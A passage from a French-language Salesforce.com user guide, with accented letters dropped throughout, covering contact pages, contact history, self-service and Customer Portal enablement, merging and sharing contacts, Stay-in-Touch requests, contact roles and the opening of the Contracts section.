vous cliquez sur ce bouton, une nouvelle fentre de navigateur s'ouvre et vous tes connect au portail en tant qu'utilisateur
du portail. Vous pouvez aussi cliquer sur ce bouton pour vrifier que le portail est configur de faon approprie. Pour
vous connecter en tant qu'utilisateur du portail partenaire, vous devez disposer de l'autorisation Grer les partenaires
et de l'une des autorisations suivantes : Modifier toutes les donnes ou accs Modifier au compte. Pour vous connecter
en tant qu'utilisateur du portail client, vous devez disposer de l'autorisation Modifier les utilisateurs du libre-service
et de l'accs Modifier au compte de l'utilisateur du portail client. Le bouton Connexion en tant qu'utilisateur de
portail ne s'affiche pas si vous ne remplissez pas ces exigences ou si l'utilisateur du portail est inactif.
Listes associes au contact
La partie infrieure de la fentre prsente des informations associes au contact, telles que les activits, les notes, les
opportunits, les campagnes, les actifs et les requtes. Les listes associes qui s'affichent dpendent de vos paramtres de
personnalisation et de ceux dfinis par votre administrateur pour la prsentation des pages ou par vos autorisations
d'affichage des donnes connexes. Vous pouvez cliquer sur des lments individuels pour afficher des dtails
supplmentaires. Cliquez sur plus au bas de la page ou sur Afficher plus d'informations sous une liste associe pour
afficher d'autres lments. Cliquez sur le bouton Nouveau pour ajouter directement de nouveaux lments. Par exemple,
le fait de cliquer sur Nouvelle requte vous permet d'ajouter une nouvelle requte.
Impression de contacts
Pour afficher une vue imprimable de toutes les informations sur un enregistrement, cliquez sur Vue imprimable dans la
page de dtails.
Pour revenir la dernire page de liste affiche, cliquez sur Retour la liste en haut de la page de dtails des contacts. Si votre
organisation a activ l'option de rduction des sections de page, utilisez les icnes reprsentant des flches prs des en-ttes
de section pour dvelopper ou rduire chaque section de la page des dtails.
Conseils relatifs l'affichage et la modification des contacts
Tenez comptez des points suivants en affichant et en modifiant des contacts :

Si votre organisation a activ la modification en ligne, vous pouvez modifier les champs directement dans la page de dtails.
Les comptes personnels apparaissent dans les vues de liste de contacts, mais pas dans la page d'accueil des contacts. Lorsque
vous slectionnez le nom d'un compte personnel sur une vue de liste de contact, le compte personnel correspondant apparat
dans l'onglet Compte.

Contacts

Guide de l'utilisateur | Libre-service pour les contacts et les comptes personnels | 1255

Pour diffrencier visuellement les contacts des comptes personnels dans les vues de liste de contacts, ajoutez l'icne Est
un compte personnel comme colonne. Reportez-vous Cration de vues Listes personnalises la page 1538.

Voir aussi :
Fusion des contacts en double
Affichage de la hirarchie des contacts
Ajout, modification ou clonage de membres de campagne individuels
Modification du champ de type d'enregistrement
Ajout de noms traduits
Qu'est-ce qu'un compte personnel ?
Dterminer si vos partenaires utilisent Salesforce.com
Historique des contacts

Historique des contacts

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour afficher des contacts :

Autorisation de lecture sur les contacts

La liste associe Historique des contacts d'une page de dtails des contacts suit les modifications apportes au contact. Chaque
fois qu'un utilisateur modifie les champs standard ou personnaliss dont l'historique doit tre suivi sur le contact, une nouvelle
entre est ajoute la liste associe Historique des contacts. Toutes les entres comprennent la date, l'heure et la nature de la
modification, ainsi que le nom de l'utilisateur ayant apport la modification. Les modifications apportes aux listes associes
sur le contact ne font pas l'objet d'un suivi dans l'historique des contacts. Pour plus d'informations sur la configuration des
champs suivis, reportez-vous Suivi de l'historique des champs la page 410.

Libre-service pour les contacts et les comptes personnels

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour activer des utilisateurs libre-service :

Modifier les utilisateurs libre-service

Pour permettre un client d'accder votre portail libre-service, vous devez activer le libre-service pour le contact du client
ou l'enregistrement du compte personnel :
1. Si le client est un contact, cliquez sur le bouton Activer le libre-service dans la page de dtails de contact. Si le client est
un compte personnel, cliquez sur le bouton Activer le libre-service dans la page de dtails de compte personnel.

Contacts

Guide de l'utilisateur | Libre-service pour les contacts et les comptes personnels | 1256

2. Vrifiez les informations gnrales et les paramtres de langue, puis saisissez toute information manquante. Notez que le
nom d'utilisateur libre-service du client utilise par dfaut son adresse e-mail.
3. Vous pouvez galement cocher la case Super utilisateur pour faire du client un super utilisateur libre-service. Ce
type d'utilisateur peut afficher les informations de la requte, ajouter des commentaires et tlcharger des pices jointes
pour toutes les requtes soumises par les utilisateurs de sa socit.
4. Slectionnez Gnrer un nouveau mot de passe et avertir immdiatement l'utilisateur pour envoyer
par e-mail un nom d'utilisateur et un mot de passe libre-service au client.
5. Cliquez sur Enregistrer.
Remarque: Un utilisateur libre-service ne peut voir sur le portail libre-service que les requtes associes son
enregistrement de compte.
Pour dsactiver le libre-service pour un client :
1. Cliquez sur le bouton Afficher le libre-service sur la page de dtails.
2. Cliquez sur Modifier, puis dslectionnez la case Actif.
3. Cliquez sur Enregistrer.
Pour activer plusieurs utilisateurs libre-service la fois, reportez-vous Activation de plusieurs utilisateurs libre-service la
page 655.
Remarque: Vous ne pouvez pas supprimer un utilisateur libre-service actif ; vous pouvez seulement dsactiver son
accs au portail libre-service. De plus, vous ne pouvez pas supprimer un contact ou un compte personnel associ un
utilisateur libre-service actif. Vous devez dsactiver son accs au portail libre-service, puis supprimer le contact ou le
compte personnel.

Voir aussi :
Configuration du libre-service
Qu'est-ce qu'un compte personnel ?

Contacts

Guide de l'utilisateur | Activation du portail Client pour les constacts et les comptes personnels | 1257

Activation du portail Client pour les constacts et les

comptes personnels
Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour autoriser les utilisateurs du portail Client effectuer les Modifier dans le compte associ l'utilisateur du portail client
oprations suivantes :
ET
Modifier les utilisateurs libre-service

Pour autoriser un client accder votre portail client Salesforce.com, vous devez activer l'enregistrement de contact ou de
compte personnel du client comme utilisateur du portail client. Vous pouvez tout moment invalider ou dsactiver des
utilisateurs du portail client.
Pour activer le portail Client pour un client :
1. Cliquez sur le bouton Activer l'utilisateur du portail Client sur la page de dtails du contact ou du compte personnel.
2. Vrifiez les informations gnrales et les paramtres de langue, puis saisissez toute information manquante. Notez que le
nom d'utilisateur du client utilise par dfaut son adresse e-mail.
3. Slectionnez une licence utilisateur de portail pour l'utilisateur. La licence utilisateur choisie dtermine les options de profil
utilisateur et de hirarchie de rles que vous pouvez slectionner pour l'utilisateur Portail Client. Le tableau suivant prsente
les licences utilisateur du Portail Client avec les profils associs et les positions correspondantes dans la hirarchie de rles
du Portail Client :
Licence utilisateur

Profil

Utilisateur du portail client haut volume Profil Utilisateur du portail client haut
volume ou profil clon et personnalis
dans le profil Utilisateur du portail
client haut volume
Il peut accder des objets
personnaliss, selon des paramtres
du profil.
Ne peut pas accder aux comptes
personnels.

Rle
Les utilisateurs du Portail client haut
volume n'ont aucun rle. Reportez-vous
Octroi de l'accs aux objets aux
Utilisateurs du Portail client haut
volume la page 1318.
Ne peut pas partager mais peut
transfrer les enregistrements qu'il
possde ; ne peut pas accder aux
articles.
Ne peut pas tre inclus dans :

Groupes personnels ou groupes

publics
Rgles de partage
quipes de comptes, quipes de
vente ou quipes de requtes

Contacts

Guide de l'utilisateur | Activation du portail Client pour les constacts et les comptes personnels | 1258

Licence utilisateur

Profil

Rle

Espaces de travail Salesforce CRM

Content

Responsable du portail client standard Profil Utilisateur du portail Client, ou

profil clon personnalis partir du
profil Utilisateur du portail Client.
Il permet d'accder des objets
personnaliss, selon des paramtres
du profil.
Il permet d'accder Salesforce
CRM Content, en fonction de la
licence de fonctionnalits et des
paramtres du profil. Reportez-vous
la rubrique Activation de
Salesforce CRM Content dans le
Portail client la page 1287.

Peut uniquement attribuer au rle

Utilisateur.

Responsable du portail client

personnalis

Peut tre attribu au rle Cadre,

Responsable ou Utilisateur.

Profil Responsable du portail Client, ou

profil clon personnalis partir du
profil Responsable du portail Client.
Il permet d'accder des objets
personnaliss, selon des paramtres
du profil.
Peut accder des rapports selon les
paramtres de profil.
Il permet d'accder Salesforce
CRM Content, en fonction de la
licence de fonctionnalits et des
paramtres du profil. Reportez-vous
la rubrique Activation de
Salesforce CRM Content dans le
Portail client la page 1287.
Peut recevoir les autorisations
Super utilisateur du portail et
Administrateur dlgu d'utilisateur
de portail .
Les paramtres des profils
Responsable du portail Client et
Utilisateur du portail Client sont
identiques. Toutefois, les utilisateurs
associs au profil Responsable du
portail Client peuvent se voir
attribuer un accs plus important
aux donnes via les rgles de partage
et la hirarchie des rles du Portail
client.

Peut uniquement afficher et modifier

les donnes dont il est directement
responsable, et afficher et modifier les
requtes dans lesquelles son nom figure,
dans le champ Nom du contact.

Peut afficher et modifier les donnes

dont il est directement responsable,
celles appartenant ou partages par des
utilisateurs de niveau infrieur dans la
hirarchie des rles dans le Portail
client, et peut afficher et modifier les
requtes dans lesquelles son nom figure,
dans le champ Nom du contact.
Peut avoir des donnes partages avec
lui, comme tout autre utilisateur
Salesforce.com.

Contacts

Guide de l'utilisateur | Activation du portail Client pour les constacts et les comptes personnels | 1259

Remarque: Les comptes personnels activs en tant qu'utilisateurs du portail Client reoivent automatiquement le
rle compte personnel, que vous ne pouvez pas modifier. Les comptes personnels sont automatiquement affects
ce rle car ils comprennent un seul utilisateur ; par consquent, il n'est pas ncessaire d'utiliser plusieurs rles
pour leur compte. De plus, tous les comptes personnels appartenant au mme utilisateur reoivent le mme rle.
Important: Vous pouvez activer des contacts en tant qu'utilisateurs du portail client haut volume uniquement via
l'API. Pour plus d'informations, reportez-vous au guide Force.com Web Services API Developer's Guide.
4. Slectionnez Gnrer un nouveau mot de passe et avertir immdiatement l'utilisateur pour envoyer
par e-mail un nom d'utilisateur et un mot de passe de portail Client au client.
Si votre entreprise utilise plusieurs portails Clients, un utilisateur du portail peut accder tous les portails Clients attribus
son profil avec un nom d'utilisateur et un mot de passe. Reportez-vous Cration de plusieurs portails clients la page
1291.
5. Cliquez sur Enregistrer.
Conseils relatifs l'activation du portail Client pour les contacts
Tenez compte des remarques suivantes lorsque vous activez le portail Client pour les contacts :

Vous ne pouvez pas activer le contact pour le portail Client, sauf si le responsable du compte du contact est associ un
rle dans votre entreprise.
La premire fois que vous activez un contact pour le portail Client sur un compte, vous ne pouvez pas l'attribuer un rle
du portail. Le rle Utilisateur client est attribu automatiquement au contact. Ce rle inclut le nom du compte du contact.
Vous pouvez mettre jour le rle de portail du contact ultrieurement.
Ce comportement ne s'applique pas aux utilisateurs du portail client haut volume car ils n'ont aucun rle et ne figurent pas
dans la hirarchie des rles.

Un contact peut tre un PRM, un partenaire ou un utilisateur du portail Client, mais pas les trois la fois. Si l'utilisateur
est un PRM ou un utilisateur Partenaire et un utilisateur du portail Client, vous devez crer deux enregistrements de contact
afin qu'il dispose d'un nom d'utilisateur et d'un mot de passe diffrents sur chaque portail.
Toutefois, un contact peut tre un utilisateur Libre-Service, PRM ou Portail Client. Mais les donnes cres par un
utilisateur Libre-Service ou dont il est responsable sont visibles par un utilisateur PRM ou Portail Client associ au mme
contact.

Vous ne pouvez pas supprimer un utilisateur du portail client actif. Vous pouvez uniquement invalider ou dsactiver son
accs ce portail.
Le tableau suivant indique si vous pouvez supprimer des contacts associs des utilisateurs du portail :

Etat de l'utilisateur du portail associ au contact

Suppression du contact possible ?

Utilisateur du portail actif

Non. Ceci permet d'assurer que le contact est disponible si

vous dcidez de ractiver l'utilisateur du portail.

Utilisateur du portail inactif

Non. Ceci permet d'assurer que le contact est disponible si

vous dcidez de ractiver l'utilisateur du portail.

Utilisateur du portail dsactiv

Oui. Les contacts supprims sont envoys dans la Corbeille.

Vous pouvez tout moment modifier le compte dans le contact.

Vous pouvez fusionner les contacts activs pour utiliser un portail client.

Contacts

Guide de l'utilisateur | Affichage de la hirarchie des contacts | 1260

Le Surnom de communaut utilise par dfaut son alias d'e-mail, sauf indication contraire. Par exemple, si l'E-mail de
l'utilisateur est jdurand@societe.com, le Surnom de communaut utilise par dfaut jdurand lorsque vous cliquez sur
Enregistrer.

Conseils relatifs l'activation du portail Client pour les comptes personnels

Tenez compte des remarques suivantes lorsque vous activez le portail Client pour les comptes personnels :

Vous ne pouvez pas supprimer un compte personnel activ pour utiliser un portail Client.
Vous ne pouvez pas importer des comptes personnels pour qu'ils soient automatiquement activ pour utiliser un portail Client.
Pour plus d'informations concernant l'importation de comptes personnels, voir Importer mes comptes personnels la page
290.
Les utilisateurs d'un compte personnel ne peuvent pas s'auto-inscrire pour un portail Client. Lorsque des utilisateurs de
comptes personnels s'auto-inscrivent pour un portail Client, ils reoivent un notification par e-mail qui les invite contacter
l'administrateur du portail. Pour plus d'informations, reportez-vous Activation de la connexion et des paramtres du
portail Client la page 1300.
Vous ne pouvez pas fusionner des comptes personnels activs pour utiliser un portail Client.

Voir aussi :
Configuration du portail Client
Qu'est-ce qu'un compte personnel ?

Affichage de la hirarchie des contacts

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour afficher un organigramme :

Autorisation de lecture sur les contacts

Pour modifier un organigramme :

Autorisation de modification sur les contacts

Pour afficher un organigramme, entrez le nom du responsable de chaque contact du compte dans le champ Rattachement
hirarchique. Cliquez ensuite sur le lien [Afficher l'organigramme] de l'un des contacts du compte. Salesforce.com affiche
un organigramme prsentant la hirarchie des contacts avec les rapports directs pour chacun des contacts que vous avez entrs.
Remarque:
Pour garantir l'obtention d'un organigramme complet, assurez-vous que le champ Rattachement hirarchique
de chaque contact d'un compte contient le nom d'un autre contact. La seule exception cette rgle concerne le contact
situ au sommet de l'organigramme. Si un seul contact d'un compte n'est subordonn aucun autre contact, la totalit
de ce compte fera l'objet d'un organigramme unique.
Grce sa flexibilit, cette fonctionnalit ne vous empchera pas de slectionner des contacts provenant d'autres comptes
dans le champ Rattachement hirarchique.

Contacts

Guide de l'utilisateur | Fusion des contacts en double | 1261

Fusion des contacts en double

Disponible avec : Toutes les ditions
Le portail client est disponible dans : Enterprise Edition, Unlimited Edition et Developer Edition
Le portail partenaire est disponible dans : Enterprise Edition et Unlimited Edition

Autorisations utilisateur requises

Pour fusionner des contacts :
Pour fusionner les contacts activs du portail client :

Autorisation de suppression sur les contacts

Supprimer dans les contacts
ET
Modifier les utilisateurs libre-service

Pour fusionner les contacts activs du portail partenaire :

Supprimer dans les contacts

ET
Grer les partenaires

Pour fusionner des contacts en double associs un compte classique :

1. Dans la liste associe Contacts d'un compte, cliquez sur Fusionner les contacts.
2. Cochez les lignes des contacts fusionner, sachant que vous pouvez slectionner jusqu' trois contacts. Vous pouvez effectuer
une recherche dans la liste des contacts associs pour raccourcir la liste, ou cliquer sur Tous les contacts pour afficher la
liste complte des contacts associs. Cliquez sur Suivant pour continuer.
3. Slectionnez un contact comme enregistrement principal. Toute donne inscrite dans un champ masqu ou en lecture seule
sera extraite de l'enregistrement principal. Toutefois, les administrateurs et les utilisateurs autoriss modifier les champs
en lecture seule pourront slectionner manuellement les champs en lecture seule conserver.
4. Slectionnez l'utilisateur du portail partenaire ou du portail client que vous souhaitez conserver.
Cette option est disponible uniquement si un portail partenaire ou un portail client est activ pour votre organisation.
Vous pouvez slectionner N'est pas un utilisateur du portail afin de ne pas inclure un utilisateur du portail
dans un contact fusionn.
5. Slectionnez les champs conserver pour chaque enregistrement.
En cas de conflit de donnes, les champs de la colonne gauche sont prslectionns et la ligne s'affiche en violet.
6. Cliquez sur le bouton Fusionner pour effectuer la fusion.
Conseils relatifs la fusion de contacts
Tenez compte des points suivants lors de la fusion de contacts :

Tout lment li un contact en double est associ au contact fusionn.

Si vous fusionnez des contacts en double faisant partie de diffrentes campagnes, la date de mise jour du statut
des membres de la campagne pour chaque contact est conserve et associe au contact nouvellement fusionn.

Contacts

Guide de l'utilisateur | Fusion des contacts en double | 1262

Avant de fusionner des contacts dots de noms d'utilisateur libre-service actifs, dsactivez un nom d'utilisateur libre-service.
L'enregistrement fusionn adopte ensuite le nom d'utilisateur libre-service actif.
Tout partage de comptes et tout partage manuel pour le contact principal sont appliqus au nouveau contact fusionn.
Lorsque vous fusionnez des contacts entretenant des rapports de rattachement hirarchique, le nouveau contact
fusionn conserve le champ Rattachement hirarchique de l'enregistrement principal slectionn.
Tous les enregistrements dupliqus supprims sont placs dans la Corbeille.
Le nouveau contact fusionn affiche la date Cr par issue du plus ancien contact que vous fusionnez et affiche la date
de fusion en tant que date Modifi par.
La fusion de contacts n'est pas consigne dans le journal d'audit de configuration.
Vous pouvez supprimer un contact si vous tes reconnu en tant qu'administrateur, responsable du contact ou si vous tes
un utilisateur situ en amont du responsable du contact dans la hirarchie des rles, dot des autorisations utilisateur
adquates.
Le contact rcemment fusionn est automatiquement inclus dans l'une des quipes de requte auxquelles les contacts taient
associs.

Conseils relatifs la fusion de contacts avec des utilisateurs du portail

Tenez compte des points suivants lors de la fusion de contacts associs des utilisateurs du portail :

Les informations prsentes dans Conseils relatifs la fusion de contacts s'appliquent galement la fusion de contacts
associs des utilisateurs du portail.
Vous pouvez fusionner l'enregistrement d'un contact du portail avec un autre contact du portail. Par exemple, vous pouvez
fusionner des contacts pour utiliser :
-

Un portail partenaire ou un portail client.

Un portail partenaire avec des contacts activs pour l'utilisation d'un portail client et inversement.
Un portail partenaire ou un portail client avec des contacts qui ne sont pas activs pour l'utilisation d'un portail.

Lors de la fusion de contacts qui incluent des utilisateurs du portail partenaire et du portail client, vous devez choisir un
type d'utilisateur du portail conserver. L'utilisateur du portail que vous ne conservez pas est dsactiv. Une fois les contacts
fusionns, vous pouvez toutefois activer le contact pour l'accs au portail partir duquel vous l'avez supprim durant le
processus de fusion.
Pour fusionner des contacts associs divers comptes :
1. Transfrez les contacts que vous souhaitez fusionner dans un seul compte.
2. Fusionnez les contacts associs au compte commun.

Les utilisateurs du portail dsactivs durant le processus de fusion conservent la proprit de tout enregistrement dont ils
sont responsables. Par exemple, si un utilisateur du portail, responsable d'une requte, est invalid, il reste responsable
jusqu' la mise jour de la requte avec un nouveau responsable.

Voir aussi :
Fusion de comptes en double
Activation du portail Client pour les constacts et les comptes personnels
Cration d'utilisateurs partenaires

Contacts

Guide de l'utilisateur | Partage des contacts | 1263

Partage des contacts

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

L'administrateur dfinit le modle de partage de votre entreprise pour l'accs des contacts. Vous pouvez toutefois tendre les
privilges de partage de vos donnes contact par contact. Le partage de contacts vous permet d'augmenter l'accs vos contacts.
Vous ne pouvez pas restreindre l'accs au-del des niveaux d'accs par dfaut de votre entreprise.
Pour afficher et grer les dtails du partage, cliquez sur Partage dans la page de dtails du contact. Cette page rpertorie les
utilisateurs, les groupes, les rles et les territoires qui disposent d'un accs partag au contact. Cette page permet d'effectuer
les oprations suivantes :

Pour afficher une liste d'lments filtre, slectionnez une liste prdfinie dans la liste droulante Vue ou cliquez sur Crer
une nouvelle vue pour dfinir une vue personnalise. Pour modifier ou supprimer une vue que vous avez cre, slectionnez-la
dans la liste droulante Vue, puis cliquez sur Modifier.
Cliquez sur Ajouter pour accorder un accs l'enregistrement aux autres utilisateurs, groupes, rles ou territoires.
Cliquez sur Dvelopper la liste pour afficher tous les utilisateurs qui disposent de l'accs l'enregistrement.
Pour les rgles de partage manuelles que vous crez, cliquez sur Modifier ou Suppr en regard d'un lment de la liste afin
de modifier ou de supprimer le niveau d'accs.

Observations particulires

Assurez-vous que vous partagez les enregistrements avec des utilisateurs dont le profil est dot de l'autorisation de lecture
de l'objet qui convient pour afficher les enregistrements partags.
Vous ne pouvez pas partager manuellement un contact priv, c'est--dire un contact sans compte.
Si vous tes autoris partager un compte, Salesforce.com procure automatiquement un accs en lecture au compte associ
lors de l'octroi de l'accs au partage un contact si le destinataire n'en dispose pas encore. Si le destinataire ne dispose pas
d'un accs au compte, vous ne pouvez pas partager le contact sauf si vous tes autoris partager galement le compte.
Si, l'chelle de l'entreprise, la valeur par dfaut pour les contacts est paramtre sur Contrl par parent, les options
d'accs aux contacts ne sont pas disponibles lors du partage des rapports associs, tels que les comptes. Au contraire,
tous les accs aux contacts sont dtermins par l'accs de l'utilisateur au compte du contact.
Le partage des contacts n'est pas disponible pour les entreprises qui utilisent la gestion des territoires ou des comptes
personnels.
-

Si les fonctions de comptes personnels sont dj actives pour votre entreprise, la valeur par dfaut de l'entreprise pour
les contacts est paramtre sur Contrl par parent. Elle n'est pas modifiable.
Si votre entreprise n'utilise pas les comptes personnels, mais que vous voulez activer l'une de ces fonctions, paramtrez
la valeur par dfaut de l'entreprise pour les contacts sur Contrl par parent, ce qui supprime toutes les rgles de partage
des contacts et les contacts partags manuellement.

Voir aussi :
Octroi d'accs aux enregistrements
Affichage des utilisateurs bnficiant de droits d'accs

Contacts

Guide de l'utilisateur | Envoi de demandes Rester en contact | 1264

Envoi de demandes Rester en contact

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour demander des mises jour :

Envoi de requtes Rester en contact

Pour obtenir rapidement et facilement de vos contacts et de vos comptes personnels des informations jour sur les contacts,
vous pouvez envoyer des demandes Rester en contact. Vous pouvez demander des mises jour aux personnes ou comptes
suivants :

Les contacts dont vous tes responsable

Contacts associs aux comptes dont vous tes responsable
Contacts que vous pouvez modifier en raison d'une rgle de partage ou d'un partage manuel d'enregistrement
Comptes personnels dont vous tes responsable
Remarque: L'enregistrement doit disposer d'une adresse e-mail valide.

Cette option fonctionne de la faon suivante :

1. Dans la page de dtails d'un contact ou d'un compte personnel, cliquez sur Demander la mise jour, soit en haut de la
page, soit dans la liste associe Historique des activits.
2. Un e-mail sortant est cr, conformment vos paramtres Rester en contact personnels. Modifiez les dtails de l'e-mail
si ncessaire. Si le correcteur orthographique est activ pour votre organisation, cliquez sur Vrifier l'orthographe pour
contrler l'orthographe du message. Le correcteur orthographique ne prend pas en charge toutes les langues prises en charge
par Salesforce.com. Par exemple, le Thalandais, le Russe et les langues sur deux octets telles que le Japonais, le Coren ou
le Chinois, ne sont pas prises en charge. Cliquez sur Envoyer pour envoyer l'e-mail.
3. Le destinataire reoit l'e-mail et clique sur un lien pour communiquer des mises jour ou pour confirmer qu'aucun
changement n'est ncessaire.
4. Vous recevez une notification par e-mail. Cliquez sur le lien qui figure dans l'e-mail pour mettre jour, passer en revue,
et accepter ou refuser les nouvelles informations.
Remarque: Pour envoyer des demandes Rester en contact, vous devez disposer de l'autorisation Envoyer un e-mail.
Vous pouvez envoyer des demandes Rester en contact quelle que soit la valeur du paramtre Dsinscription
d'adresse e-mail du destinataire.

Voir aussi :
Modification des paramtres personnels Rester en contact
Fusion des informations de contact mises jour
Mise jour Rester en contact en masse
Qu'est-ce qu'un compte personnel ?

Contacts

Guide de l'utilisateur | Envoi de demandes Rester en contact | 1265

Fusion des informations de contact mises jour

Lorsqu'un utilisateur rpond une requte Rester en contact, vous recevez un e-mail contenant un lien. Pour fusionner les
nouvelles informations dans Salesforce.com :
1. Cliquez sur Mettre jour maintenant dans l'e-mail que vous avez reu.
2. Passez en revue les nouvelles valeurs et les valeurs d'origine.
3. Cliquez sur Accepter les modifications pour enregistrer les nouvelles donnes. Cliquez sur Rejeter les modifications pour
ignorer les mises jour et conserver les valeurs d'origine.

Voir aussi :
Envoi de demandes Rester en contact

Mise jour Rester en contact en masse

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour envoyer des mises jour Rester en contact en masse :

Envoyer un e-mail
ET
Envoyer des requtes Rester en contact

L'assistant Rester en contact en masse permet de demander des informations de contact mises jour simultanment de
multiples contacts et comptes personnels.
Pour envoyer un e-mail Rester en contact en masse :
1. Sur la page d'accueil des contacts, cliquez sur Rester en contact en masse dans la section Outils.
Si votre entreprise utilise des comptes personnels, le lien apparat galement sur la page d'accueil des comptes.
2. Slectionnez une vue de liste des contacts et des comptes personnels pour lesquels vous souhaitez obtenir des informations
jour. Vous pouvez galement modifier les vues de liste existantes et crer des vues de liste.
3. Cliquez sur OK.
4. Slectionnez les individus qui vous destinez la demande. Notez qu'il est impossible de slectionner des enregistrements
sans adresse e-mail. Cliquez sur Suivant pour continuer.
5. Repassez en revue l'e-mail envoyer, puis cliquez sur Envoyer.
Les destinataires peuvent vous renvoyer leurs informations mises jour par e-mail. Vous pouvez fusionner ces mises jour ds
rception.

Contacts

Guide de l'utilisateur | Envoi de demandes Rester en contact | 1266

Remarque: Les enregistrements pour lesquels la case Dsinscription d'adresse e-mail est coche
n'apparaissent pas dans la vue de liste, parce que vous ne pouvez pas leur envoyer d'e-mails de masse.

Voir aussi :
Envoi de demandes Rester en contact
Modification des paramtres personnels Rester en contact
Fusion des informations de contact mises jour

Rles des contacts

Affichage et modification des rles du contact
Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour afficher le rle des contacts :

Autorisation de lecture sur les comptes, les requtes, les

contrats ou les opportunits

Pour modifier le rle des contacts :

Autorisation de modification sur l'objet associ, comme les

comptes, les requtes, les contrats ou les opportunits
AND
Autorisation de lecture sur les contacts

La liste associe Rles des contacts d'un compte, d'une requte, d'un contrat ou d'une opportunit affiche les rles jous par
chaque contact ou compte personnel dans cet enregistrement. Sur les pages de dtails des comptes personnels, la liste associe
Rle des contacts de l'opportunit affiche les opportunits sur lesquelles le compte personnel est rpertori dans le champ Nom
du compte de l'opportunit.

Pour ajouter un rle de contact pour le compte, la requte, le contrat ou l'opportunit, cliquez sur Nouveau dans la liste
associe Rles des contacts. Reportez-vous Ajout de rles de contact la page 1268.
Pour envoyer un e-mail tous les rles de contact d'une requte, cliquez sur Envoyer un e-mail dans la liste associe Rles
des contacts. Reportez-vous Envoi d'e-mails la page 1386. Si aucune adresse e-mail n'est indique dans l'enregistrement
de contact d'un rle de contact, le message n'est pas envoy ce contact.
Pour mettre jour un rle de contact, cliquez sur Modifier en regard du rle du contact. Cliquez sur Enregistrer lorsque
vous avez termin vos modifications.
Pour dsigner un contact ou un compte personnel comme contact ou compte principal dans le compte, le contrat ou
l'opportunit, cliquez sur Modifier en regard de l'entre du rle de contact et slectionnez l'option Principal.
Remarque: L'option Principal n'est pas disponible pour les rles de contact de requte. Pour une requte, le
contact principal est toujours celui qui est mentionn sous Nom du contact dans la section Dtails de la requte.

Pour supprimer un rle de contact, cliquez sur Suppr en regard du rle de contact que vous souhaitez supprimer.
Pour crer une opportunit associe un compte personnel, cliquez sur Nouveau dans la liste associe Rle des contacts
de l'opportunit sur un compte personnel.

Voir aussi :
Ajout de rles de contact
Qu'est-ce qu'un compte personnel ?

Rles des contacts

Guide de l'utilisateur | Ajout de rles de contact | 1268

Ajout de rles de contact

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour ajouter les rles de contact :

Autorisation de modification sur l'objet associ, comme les

comptes, les requtes, les contrats ou les opportunits
AND
Autorisation de lecture sur les contacts

Pour attribuer un rle de contact un contact ou un compte personnel :

1. Cliquez sur Nouveau dans la liste associe Rles des contacts d'un compte, d'une requte, d'un contrat ou d'une opportunit.
2. Cliquez sur l'icne de recherche pour slectionner un contact ou un compte personnel. Vous pouvez galement cliquer sur
Nouveau pour crer un contact.
Lorsque vous ajoutez ou modifiez des rles de contact sur une opportunit associe un compte professionnel, la page
affiche automatiquement les contacts de ce compte professionnel. Si le compte professionnel comporte plus de 50 contacts,
ceux-ci ne sont pas automatiquement affichs et vous devez utiliser l'icne de recherche pour slectionner un contact.
3. Choisissez un rle.
4. Si ncessaire, slectionnez Principal pour dfinir le contact ou le compte personnel comme lment principal du compte,
du contrat ou de l'opportunit.
Remarque: L'option Principal n'est pas disponible pour les rles de contact de requte. Pour une requte, le
contact principal est toujours celui qui est mentionn sous Nom du contact dans la section Dtails de la requte.
5. Cliquez sur Enregistrer.
Lorsque vous crez une opportunit partir d'une page de dtails des contacts, le contact devient automatiquement le contact
principal pour cette opportunit. Nanmoins, aucun rle de contact n'est automatiquement attribu.
Conseil: Il est possible d'ajouter des comptes personnels dans les rles de contact des comptes, mais cette procdure
est dconseille. Nous vous recommandons plutt d'utiliser la liste associe Partenaires pour associer des comptes
personnels d'autres comptes.

Voir aussi :
Affichage et modification des rles du contact
Qu'est-ce qu'un compte personnel ?

Contrats
Prsentation des contrats
Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Un contrat est un accord crit entre deux ou plusieurs parties. La plupart des socits font appel aux contrats pour dfinir la
manire dont elles traitent des affaires avec d'autres socits.
Utilisez Salesforce.com pour tablir et documenter les contrats entre vous et vos comptes. Ensuite, suivez le contrat dans tout
le processus d'approbation de votre entreprise et utilisez des alertes de workflow pour vous avertir du moment du renouvellement
du contrat.
Affichage de l'onglet Contrats
L'onglet Contrats s'affiche automatiquement pour tous les utilisateurs. Si votre onglet Contrats n'est pas visible, vous pouvez
personnaliser votre affichage en consquence. Pour plus d'informations, reportez-vous Personnalisation de votre affichage
la page 30.

Voir aussi :
Page d'accueil des contrats

Page d'accueil des contrats

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour afficher l'onglet Contrats :

Autorisation de lecture sur les contrats

Pour afficher des contrats :

Autorisation de lecture sur les contrats

Pour crer des contrats :

Autorisation de cration sur les contrats

AND
Autorisation de lecture sur les comptes

Cliquez sur l'onglet Contrats pour afficher la page d'accueil des contrats.

Pour afficher une liste d'lments filtre, slectionnez une liste prdfinie dans la liste droulante Vue ou cliquez sur Crer
une nouvelle vue pour dfinir une vue personnalise. Pour modifier ou supprimer une vue que vous avez cre, slectionnez-la
dans la liste droulante Vue, puis cliquez sur Modifier.
Dans la section Contrats rcents, slectionnez une option de la liste droulante pour afficher une liste rduite des contrats
correspondant le mieux ce critre. Dans la liste, vous pouvez slectionner un contrat quelconque pour passer directement

Contrats

Guide de l'utilisateur | Page d'accueil des contrats | 1270

aux dtails de ce contrat. Le nom de contrat apparat dans cette liste si vous l'avez ajout la prsentation de votre page
de contrat. Cliquez alternativement sur les liens Afficher 25 lments et Afficher 10 lments pour changer le nombre
d'lments affichs. Les champs que vous voyez apparatre dpendent de la prsentation de recherche de l'onglet Contrats
